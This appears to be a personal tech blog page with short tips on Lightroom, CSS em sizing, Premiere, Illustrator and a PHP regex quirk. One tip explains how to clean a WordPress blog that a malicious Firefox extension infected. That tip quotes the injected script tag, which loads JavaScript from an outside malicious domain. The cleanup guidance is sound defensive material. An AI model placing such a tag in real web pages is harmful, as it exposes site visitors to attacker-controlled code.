Adobe Lightroom 4 tip: show filename in grid view

Normally in grid view only an index number is shown. When you hoover an image, you’ll see the filename and date taken/capture date. When selecting images based on filename this becomes a nightmare if you need to wait until the tooltip is showing.

Fortunately, there’s an option to show the filename in the grid view.

View > View options (ctrl + J) > tab Grid view “compact cell extras’ > check ‘Top label’ > choose copy name of file base name.

CSS use EM as a relative font-size, instead of PX

It goes back to Internet Explorer 3.0, but EMs are still the better way to define font-sizes. It takes a small learning curve to get the hang of it, but when it comes to quick changes in overall font-size, this is the way to go. Default font-size for most common browsers is 16 pixels. There are only three articles you need to read to tame that size with relative ems.

1em = 12pt = 16px = 100%

Useful reads

The EM formula

Child pixels / Parent pixels = Size in EM

Not good at calculating? Use the EM calculator

Still targeting Internet Explorer 6?

While Internet Explorer handles EM, it does so only when the base font is set to a percentage!

body { font-size: 62.5%; }
body wrapper { font-size: 1em; }

Remove ‘thepinktheme.org’ / ‘rozekleur.com’ from your wordpress blog?

So you’ve been breaking your head why multiple posts on your blog contain a hidden (javascript) link to the domain www.thepinktheme.org?

Example:

<script type="text/javascript" src="http://thepinktheme.info/dfi823hs.js?0.048378094101036107"></script>

You removed all references in your database, and searched your entire wordpress installation, themes and plugins for infected files? Even searched for PHP eval(); functions etc…

And still it’s returning? Look no further, here’s the solution. You or one of the people who has been using your computer, or who has access to your blog and post rights, installed an extension in Mozilla Firefox called ‘pink theme’ (‘roze kleur thema’). It got installed by clicking on malicious Facebook posts.

This extension is adding url’s linking back to the pinktheme.org (and other associated) domains when you add new posts on WordPress.

Remove the extension in Firefox. Remove all references in your WordPress database and start hunting down that user who’s been clicking on obscure Facebook links.

Audio noise reduction in Adobe Premiere Pro CS5

So you have bought ‘Adobe Premiere Pro CS5: classroom in a book’ and you are searching for a way to remove noise from an audio file? Your frustration might be skyrocketing when you find out on page 256 you need Adobe Soundboouth to do that and you don’t have an Adobe Master Collection license. Don’t despair, you won’t need Soundbooth to do that or any other third party software like Audacity .

Unfortunately, the book doesn’t mention this trivial solution for such a common problem.

Here’s how you can remove noise from an audio clip in Adobe Premiere itself. The benefit of this procedure is that it doesn’t change the audio-file in any way.

– Make sure you have an audio clip on your timeline
– In the effects panel (normally to the left of the timeline), look for ‘DeNoiser’ (Audio Effects 5.1 (or Audio Effects stereo / Audio Effects mono) > DeNoiser)
– Drag and drop this effect onto the audioclip in the timeline
– Double click the audio clip and it will be loaded into the source monitor (by default the ‘monitor’ to the left)
– Go to the effects control tab/panel: you will notice that the ‘DeNoiser’ has been added here)
– Play around with the settings (I prefer using the custom setting and set the Reduction button to -5Db or anything around that area). Start playing the video in the ‘program monitor’ and listen to the effect on the fly (while changing the settings to your liking)

Clipping Mask: a crop tool for Illustrator CS5

Looking for a crop tool in Illustrator CS5? Try a clipping mask instead! This way all your outside canvas drawings won’t be lost.

  1. Draw a rectangle above the area to be ‘cropped’
  2. Select all layers that need ‘cropping’
  3. Select Object > Clipping mask > Make

Still looking for cropping ways? Here are two examples:

Multiline regular expression problem in PHP 5.3.3

Recently I came across a very strange behaviour in a regular expression I wrote years ago.

The webserver upgraded to PHP 5.3.3 and it suddenly stopped working.

Case as follows: I use PHP to read a text-file and with the aid of PCRE (preg_match & preg_split) I look for certain matches in that text-file. The program splits different paragraphs into seperate records. But suddenly preg_split stopped working:

<?php
$paragraphs = preg_split("/\n\n/",$contents_of_file);
?>

Multiple newlines could not be detected, whereas

<?php
$lines = preg_split("/\n/",$contents_of_file);
?>

generated no problem at all. At first I thought I had to use the multiline modifier /m but that didn’t work out either.

Although a HEX editor didn’t indicate any carriage returns in the text-file I managed to get things working by doing this:

<?php
$paragrapgs = preg_split("/\r?\n\r?\n/",$contents_of_file);
?>

Curious thing: previous and newer versions of PHP (e.g. 5.3.8 in a XAMPP test environment) did not require to look for possible occurrences of carriage returns (\r).